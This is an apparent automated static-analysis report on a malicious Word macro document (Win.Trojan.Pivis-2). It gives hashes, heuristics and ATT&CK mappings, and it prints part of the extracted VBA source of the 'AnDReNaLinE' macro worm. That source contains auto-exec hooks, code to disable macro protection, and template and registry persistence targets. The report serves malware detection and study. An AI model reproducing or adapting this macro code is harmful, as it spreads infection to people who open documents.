Win.Trojan.Pivis-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 82863c8c595b8677…

MALICIOUS

Office (OLE)

83.5 KB Created: 2004-06-09 10:35:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 88b31602015f297fc2fe4c355295f52e SHA-1: dedf30085471175b51da2e5d316df20f664d6589 SHA-256: 82863c8c595b867768b2632ad7db875a1178734e7a8df743389f05d719fd7cd5
280 Risk Score

Malware Insights

Win.Trojan.Pivis-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains a VBA macro with AutoOpen and Document_Open triggers, which are designed to execute automatically when the document is opened. The macro utilizes the Shell() function, indicating an attempt to execute arbitrary commands, likely to download and run a secondary payload. The ClamAV detection of 'Win.Trojan.Pivis-2' further supports the malicious nature of the file.

Heuristics 7

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 50530 bytes
SHA-256: 676253201859c8338ad56829af50b5eb5ff7e12c5ed857b04148a9fd36849627
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Deftones"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'Thinking about it...
Private Sub Document_Open(): On Error Resume Next: WordBasic.DisableAutoMacros Flase: GetNorMalDocument: WordBasic.DisableAutoMacros True: End Sub
Private Sub Document_Close(): On Error Resume Next: WordBasic.DisableAutoMacros Flase: GetNorMalDocument: WordBasic.DisableAutoMacros True: End Sub
Private Sub Document_New(): On Error Resume Next: WordBasic.DisableAutoMacros Flase: GetNorMalDocument: WordBasic.DisableAutoMacros True: End Sub

Attribute VB_Name = "AnDReNaLinE"
'I-Macro-AnDReNaLinE.A Bandung, Indonesian
'@Copyright 2002 By Dhie
'Macro Included Microsoft
'For Metal Music only

'               H A E Z A T S U             '
'                 featuring:                '
'               D E F T O N E S             '
'                    with                   '
'            A N D R E N A L I N E          '

  '|",",",",",",",",",",",",",",",",",",",",",",",",
  '|----------------------------------------------|'
  '|          FROM SOMEONE WHO BE INCLUDED        |'
  '|   THE NEW UNIVERCITY IN BANDUNG (AIKPL-NKP)  |'
  '|                 LICENSED TO:                 |'
  '|           ALL METALER IN THE WORLD           |'
  '|----------------------------------------------|'
  '|",",",",",",",",",",",",",",",",",",",",",",",",

Public Const MyWorm = "AnDReNaLinE", _
                Zoro = "'Thinking about it...", _
            Original = "Microsoft Word", _
          OriginalVB = "Microsoft Visual Basic", _
              MyName = "Deftones", _
              ViriiX = "\Installer", _
              Special = "AnDReNaLinE", _
              Top32 = "\Owsclrt.dll", _
              Tulalit = "\{00000409-78E1-11D2-B60F-0020031983C998E7}", _
               Mistik = "\{00000409-78E1-11D2-B60F-00203100A3C998E7}", _
              Endog = "\Installer", _
              Kritis = "C:\con\con", _
              Kode1 = "Private Sub Document_Open(): On Error Resume Next: WordBasic.DisableAutoMacros Flase: GetNorMalDocument: WordBasic.DisableAutoMacros True: End Sub" & vbCrLf & _
                      "Private Sub Document_Close(): On Error Resume Next: WordBasic.DisableAutoMacros Flase: GetNorMalDocument: WordBasic.DisableAutoMacros True: End Sub" & vbCrLf & _
                      "Private Sub Document_New(): On Error Resume Next: WordBasic.DisableAutoMacros Flase: GetNorMalDocument: WordBasic.DisableAutoMacros True: End Sub", _
              Modify1 = "\Microsoft Worse", _
              Modify2 = "\Microsoft\Templates"
              Public Const Modify3 = "\Microsoft\Templates\StartUp", _
              Kode2 = "DaMn, FoR SuCKs vIRiI ", _
            Puas = "YoU haVE bEEn InfECtEd bY ", _
            Puas1 = "aPpLiCaTioN wiLL bE QuIt nOW.", _
            Puas3 = "wE aRE ReAdY tO dIe, sEE YoU LaTeR aGAiN...!"
            Public Const Kode6 = "ThIs cOmPuTeR pRogRaM Is pRoTEctEd." & vbCrLf & vbCrLf & _
                                 "dOn'T mOdIfY aLL bE eXiSt ThE FaCiLity." & vbCrLf & _
                                 "ThE CrImInaL dEsCribed tHiS sECuRiTiES oN pRoGraM."
            Public Const V00G = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", _
                         V00H = "HKEY_CURRENT_USER\Control Panel\International", _
                         V00I = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", _
                         V00J = "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", _
                         V00L = "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", _
                         V00K = "BrOoKlYn, BaNdUnG inDo...", _
                         V009ATC = "I think you shouldn't have glorified", _
                         DamnYouA = "CHino Moreno", _
                         DLLib = "\Riched.dot", _
                  
... (truncated)